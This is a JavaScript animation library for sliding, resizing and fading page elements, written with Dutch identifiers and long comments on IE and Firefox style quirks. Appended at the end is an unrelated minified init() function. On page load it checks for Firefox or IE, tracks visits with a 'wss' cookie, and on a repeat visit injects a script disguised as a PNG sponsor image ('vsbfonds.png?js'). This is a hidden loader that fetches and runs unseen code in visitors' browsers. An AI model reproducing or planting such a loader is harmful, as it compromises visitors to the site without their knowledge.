/*                                                        (c)funkwurm
    This script was made entirely by me, funkwurm, webdeveloper. With help of the following documentation:

    http://www.quirksmode.org/dom/getstyles.html
      (via dexus and clay @ http://gathering.tweakers.net/forum/list_messages/995712/)
    http://msdn.microsoft.com/workshop/author/filter/reference/properties/opacity.asp
    http://www.crockford.com/javascript/private.html
    http://www.javascriptkit.com/javatutors/conditionalcompile.shtml

    Note: I deliberatly use Dutch words in my script to avoid the word being reserved, so here follows a quick lesson Dutch

    stap     = step
    dit      = this
    richting = direction
    waarde   = value
    van      = from
    ding     = thing
    eenheid  = unit
    factor   = factor (not so hard ey)
    huidige  = current
    naar     = to (as in, going "to" what coordinates)
    stappen  = steps
    tijd     = time
    wachtijd = waitingtime (its wachttijd actually, but as long as it doesn't mess up pronunciation I avoid repeating letters)

    suggestion for improvement:

    IE, position:relative; and % for a Unit
    It ain't gonna work honey. "I knew it, stupid M$ and its buggy IE!" I disagree, well, not entirely, but that's not really
    the issue. What IS the issue is that I couldn't come up with a way to fetch the value of css left (and so on) in px without
    having to set position to absolute, which would mess up the entire document flow.

    So then why DOES it work in Firefox?
    Because Firefox uses getComputedStyle, which is the style computed by the browser during the page-rendering. If you only
    set css left hardcoded and read-out getComputedStyle('right'), you get the value that Firefox computed for rendering that
    particular element, not 'auto' or 'none', which you might have expected because you didn't set it hardcoded. Firefox also
    computes this in px, which is why I get my px out of % where I wanted it.
    IE on the other hand uses currentStyle, which really is the style currently applied to the element. If you would open your
    set_css_left_hardcoded_readout_currentStyle['right']_page in IE, it gives you 'auto', which is correct.

    "But Firefoxes getComputedStyle() turned out more useful, so I can still shout 'Hurray Firefox, F*** IE', right?"
    Disagree again, if you read the script you'll notice that I avoid using right or bottom, because it gets messy when you try
    to read-out some sort of offsetRight/offsetBottom. But if right is set hard-coded, and my script sets left, nothing happens.
    In IE I was able to check which one was set by the user, but Firefox proudly presents me his computed value that I can't use.

    If anyone could find a way to convert % to px while leaving position:relative in IE, you are free to place your solution in
    the script at the appropiate place. As long as you don't delete this entire story and/or my name. You may ofcourse add your
    own name. And be sure to let me know, my gmail is funkwurm (I'm sure you'll figure it out, unlike any spam-bot)
*/

function css2js(dit) { // function to convert z-index to zIndex, works for all css properties, but z-index is the only one I use, dit.replace(/(-)([a-z])/g, '$2'.toUpperCase()); didn't work
  while (dit.indexOf('-')!=-1) {
    var r=dit.match(/(-)([a-z])/);
    dit=dit.replace(r[0], r[2].toUpperCase());
  }
  return dit;
}

sliders = new Array(); // I'm gonna stack all relevant elements in this array
function Slider(obRef) { // and not just the object references, but instances of this object, that contain, but are not limited to, the object references
  // private
  var self=this;
  function getStyleValue(cssProperty) { // thanks to PPK at http://www.quirksmode.org/dom/getstyles.html
    if (cssProperty=='opacity') {
      /*@cc_on        // I first had browser sniffing, but Conditional Compilation is really the only waterproof way to seperate Opera from IE
      @if (@_jscript)
        return self.obRef.filters.item('alpha').Opacity; // I didn't know this either, found out at http://msdn.microsoft.com/workshop/author/filter/reference/properties/opacity.asp
      @else @*/
        return parseFloat(document.defaultView.getComputedStyle(self.obRef, '').getPropertyValue(cssProperty)) * 100;  // W3C uses a x.xx notation where 1.00 is the highest possible value. I prefer using integers because it won't get messy in for-loops or within recursion.
      /*@end
      @*/
    } else {
      /*@if (@_jscript)
        return self.obRef.currentStyle[css2js(cssProperty)]; // IE
      @else @*/
        return document.defaultView.getComputedStyle(self.obRef, '').getPropertyValue(cssProperty); // other
      /*@end
      @*/
    }
  }
  function noBR(van) { // BR stands for Bottom and Right, which I sometimes can't work with. Todo: Make it so only this private function is ever needed via setCSS, and perhaps make it return van with a Capital?
    if (van=='bottom') {
      van='top';
    } else if (van=='right') {
      van='left';
    }
    return van;
  }
  function opposite(van) {
    switch (van) {
      case 'left': return 'right';
      case 'right': return 'left';
      case 'top': return 'bottom';
      case 'bottom': return 'top';
    }
  }


  // public / privileged
  this.obRef=obRef; // I think this can be deleted when I get everything positioned absolute to work with my setCss-method
  this.attached={
    'timeRef':false
  };

  this.getPos=function() { // gets the value of CSS position, not coordinates
    return getStyleValue('position');
  }
  this.getFloat=function(wat) { // I need to parseFloat because css-values are strings (for instance '10px')
    return parseFloat(getStyleValue(wat));
  }
  this.getUnit=function(rich) { // Here we fetch the unit used for any left, right, bottom, top, width or height
    var waarde=getStyleValue(rich);
    if (waarde.charAt(waarde.length-1)=='%') {
      return '%';
    } else if (!isNaN(waarde.charAt(waarde.length-1))) {
      return false;
    } else {
      return waarde.substring(waarde.length-2, waarde.length);
    }
  }
  this.getOffset=function(van) {
    van=noBR(van); // because offsetRight doesn't exist
    van=van.charAt(0).toUpperCase()+van.substring(1, van.length).toLowerCase();
    return self.obRef['offset'+van];
  }
  this.setCss=function(cssProp, waarde) {
    if (cssProp=='opacity') {
      /*@if (@_jscript)
        self.obRef.filters.item('alpha').Opacity=Math.round(waarde);
      @else @*/
        self.obRef.style.opacity=Math.round(waarde)/100;
      /*@end
      @*/
    } else {
      waarde=Math.round(waarde);
      if (richtingType(cssProp)<=1) {
        if (noBR(cssProp)!=cssProp) { // (richtingType(cssProp)==0)
          waarde=-waarde;
        }
        if (richtingType(cssProp)==0) {
          self.obRef.style[cssProp]='auto';
          self.obRef.style[opposite(cssProp)]='auto';
        }
        waarde+='px';
      }
      self.obRef.style[noBR(cssProp)]=waarde;
//      document.getElementById('dump').value=noBR(cssProp)+'='+Math.round(waarde)+'px';
    }
  }
}

function richtingType(van) { // here I divide possible direction into 4 types
  switch (van) {
    case 'top':
    case 'left':
    case 'right':
    case 'bottom':
      return 0;
    case 'width':
    case 'height':
      return 1;
    case 'z-index':
      return 2;
    case 'opacity':
      return 3;
  }
}

  function noBR(van) { // BR stands for Bottom and Right, which I sometimes can't work with. I think this can be deleted when I get everything positioned absolute to work with my setCss-method
    if (van=='bottom') {
      van='top';
    } else if (van=='right') {
      van='left';
    }
    return van;
  }

  function opposite(van) { // I think this can be deleted when I get everything positioned absolute to work with my setCss-method
    switch (van) {
      case 'left': return 'right';
      case 'right': return 'left';
      case 'top': return 'bottom';
      case 'bottom': return 'top';
    }
  }

function parseOffset(van) { // I think this can be deleted when I get everything positioned absolute to work with my setCss-method
  van=noBR(van); // Like here
  return 'offset'+van.toUpperCase().charAt(0)+van.toLowerCase().substring(1, van.length); // because offsetRight doesn't exist
}

toTest=new RegExp('\\[object'); // I can't use dit.match(regex) because a pointer doesn't have a match-method, it does however have a return-value when approached as a string

function maakSlide(dit) {
  if (toTest.test(dit)) { // "dit" can be the ID of the object or a pointer to the object (if so, [object] is what IE returns, [object HTML<Tag>Element] is what Opera and FF return (i.e. [object HTMLDivElement] and [object HTMLSpanElement])
    var ding=dit; // "dit" appeared to be a pointer, pointer is passed on to "ding"
  } else if (toTest.test(document.getElementById(dit))) {
    var ding=document.getElementById(dit); // "dit" appeared to be an ID, pointer "ding" is made
  } else {
    window.status='Error: invalid object-reference or ID: "'+dit+'"';
    return;
  }

  if (isNaN(ding.rIndex)) { // test whether I've already stacked this element
    ding.rIndex=sliders.length; // if not do so, as you can see rIndex is a custom property assigned to the element to fetch the index its Slider instance holds
    sliders[ding.rIndex]=new Slider(ding);
  }
  return sliders[ding.rIndex]; // and get the relevant instance
}

function stap(dit, richting, waarde) { // this is the deal, with this function I'll be able to do one step
  var node=maakSlide(dit)
  switch (richtingType(richting)) { // what kind of direction was given
    case 0: // left, right, bottom or top
      switch (node.getPos()) { // how is the element positioned
        case 'static':
          node.setCss('position', 'relative');
          node.setCss(richting, waarde);
//          node.obRef.style.position='relative'; // I can't use static, so I change it to relative to keep the document flow
//          node.obRef.style[richting]=waarde+'px'; // static also means that there was no value set (if there was it didn't show)
        break;
        case 'fixed':
        case 'absolute':
          switch (richting) {
            case 'bottom': // I'm not gonna use bottom or right, I did initially, but the script became unnecessarily big
            case 'right':
              waarde=-waarde;
            default:
//              var huidige=node.getOffset(richting);
//              node.setCss(richting, (huidige+waarde));
              var huidige=node.obRef[parseOffset(richting)]; // whatever left/top was set, I can read it with offsetLeft/offsetTop
              node.obRef.style[richting]='auto'; // why? because if the direction was right, then I would have set left ALSO, resulting in both right and left being set, and the script not working
              node.obRef.style[opposite(richting)]='auto';
              node.obRef.style[noBR(richting)]=(huidige+waarde)+'px'; // now I can set whatever I like
            break;
          }
        break;
        case 'relative':
          huidige=0; // if huidige isn't reset within the switch (eenheid), that means that no value was set
          eenheid=node.getUnit(richting);
          switch (eenheid) {
            case 'px': // this one's easy, just read it
              huidige=node.getFloat(richting);
            break;
            case 'em': // these ones are harder, I can't use offset, that only works with position:absolute; (or fixed)
            case 'ex': // so here we need to compute how many px 1 of these units is equal to.
            case 'mm': // this ofcourse differs per monitor and browser settings
            case 'cm':
            case 'in':
            case 'pt':
            case 'pc':
              if (!document.getElementById(eenheid)) { // if I haven't already done this...
                var d=document.createElement("div"); // ...I make an element without asking the user to add extra HTML or CSS to his page
                d.id=eenheid;
                d.style.margin='0'; // I set CSS
                d.style.padding='0';
                d.style.overflow='hidden';
                d.style.visibility='hidden'; // make it invisible
                d.style.position='absolute'; // position it outside the screen
                d.style.top='-200'+eenheid;
                d.style.left='-200'+eenheid;
                d.style.height='100'+eenheid; // unit times a 100 to make the calculation accurate
                d.style.width='100'+eenheid;
                document.body.appendChild(d);
              }
              factor=parseInt(document.getElementById(eenheid).offsetHeight); // since offsetHeight is always given in px, I now know how much px a 100 unit is
              huidige=parseInt((factor*parseInt(node.getFloat(richting)))/100); // and can now set huidige in px using this factor (and don't forget I used a 100 unit, that why /100)
            break;
            case '%': // this only happens in IE, explanation at top of page
              window.status='This script doesn\'t yet work with style that combine position:relative; and % in IE';
              return;
            break;
          }
          switch (richting) {
            case 'bottom': // I'm not gonna use bottom or right, I did initially, but the script became unnecessarily big
            case 'right':
//              waarde=-waarde;
            default:
              node.setCss(richting, (huidige+waarde));
//          node.obRef.style[richting]=(huidige+waarde)+'px'; // finally, I can set the new left/right/top/bottom where position is relative
            break;
          }
        break;
      }
    break;
    case 1: // width or height
      huidige=node.getOffset(richting); // get current width/height
      node.setCss(richting, (huidige+waarde)); // set new one
    break;
    case 2: // z-index
      if (node.getPos()=='static') { // static elements don't have z-index
        node.setCss('position', 'relative'); // relative keeps the document flow, like above
      }
      huidige=node.getFloat('z-index'); // get current z-index
      if (isNaN(huidige)) { // if no value was set
        huidige=0; // make it 0
      }
      node.setCss('zIndex', (huidige+waarde)); // set new z-index
    break;
    case 3: // opacity
      huidige=node.getFloat('opacity');
      node.setCss('opacity', (huidige+waarde));
    break;
  }
  return node.obRef.rIndex; // I need this in function glij to pass it on in the setTimeout
}

function glij(dit, richtingen, naar, stappen, tijd, heenterug) { // usage: glij(object-reference or ID-string, array directions[width, height, left, right, top, bottom, z-index, opacity], array how much, in how many steps, in how many mSec, attachGlij information: 1 for going forward/-1 for backward/0 for bypass)
  var wachtijd=tijd/stappen; // waitingtime calculated with total time it should take and steps that should be taken in that time
  var nextNaar=new Array();
  var l=richtingen.length, i = 0;
  while (i<l) { // first I had a script that resulted in a setTimeout for every single direction, this is more convenient and CPU-resource saving
    var n=stap(dit, richtingen[i], naar[i]/stappen); // do it baby! take 1 step
//    alert(n);
    nextNaar[i]=(naar[i]-(naar[i]/stappen)); // calculate what steps we need to do next round
    i++;
  }
  if (heenterug!=0)
    sliders[n].attached.stap+=heenterug; // this we need for attachGlij
  if (stappen>1) // if stappen==1, we just did the last step
    sliders[n].attached.timeRef=setTimeout('glij(sliders['+n+'].obRef, ["'+richtingen.join('", "')+'"], ['+nextNaar.join(', ')+'], '+(stappen-1)+', '+(tijd-wachtijd)+', '+heenterug+')', wachtijd);
  //  store setTimeout in object for next step with same        obRef, same richtingen                , destinations minus taken step, 1 step less, time left          , same heenterug , and ofcourse wait before taking the next step
}

function attachGlij(dit, richtingen, naar, stappen, tijd) { // essentially the same as glij, but because this sets both the mouseover and mouseout, it'll "know" how many steps have been taken and how many are to be taken back (in stead of doing both animations at the same time)
  var node=maakSlide(dit);
  node.attached={ // extend the object with things we need to calculate how many steps have been taken etc. We need to access those from within the eventhandler scope
    'timeRef':false,
    'richtingen':richtingen,
    'naar':naar,
    'stap':0,
    'stappen':stappen,
    'tijd':tijd
  };
  node.obRef.onmouseover=function() {
    var node=sliders[this.rIndex]; // attached and its properties now gives us access to the information we need
    clearTimeout(node.attached.timeRef); // cancel the next step in the opposite direction being taken
    var i=node.attached.richtingen.length;
    var newNaar=new Array();
    while (i--) {
      newNaar[i]=node.attached.naar[i]-(node.attached.stap*(node.attached.naar[i]/node.attached.stappen)); // calculate which steps forward still need to be done
    }
    glij(this, node.attached.richtingen, newNaar, node.attached.stappen-node.attached.stap, node.attached.tijd-(node.attached.stap*(node.attached.tijd/node.attached.stappen)), 1); // calculate time and amount of steps. Also the 1 at the end makes that glij() increases attached.stap with every step
  }
  node.obRef.onmouseout=function() {
    var node=sliders[this.rIndex]; // attached and its properties now gives us access to the information we need
    clearTimeout(node.attached.timeRef); // cancel the next step in the opposite direction being taken
    var stappenTerug=node.attached.stappen-node.attached.stap;
    var i=node.attached.richtingen.length;
    var newNaar=new Array();
    while (i--) {
      newNaar[i]=(stappenTerug*(node.attached.naar[i]/node.attached.stappen))-node.attached.naar[i]; // calculate which steps backward still need to be done, reversed to get the negative value of direction (richting)
    }
    glij(this, node.attached.richtingen, newNaar, node.attached.stappen-stappenTerug, node.attached.tijd-(stappenTerug*(node.attached.tijd/node.attached.stappen)), -1); // calculate time and amount of steps. Also the -1 at the end makes that glij() decreases attached.stap with every step
  }
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/plaatjes/sponsors/vsbfonds.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
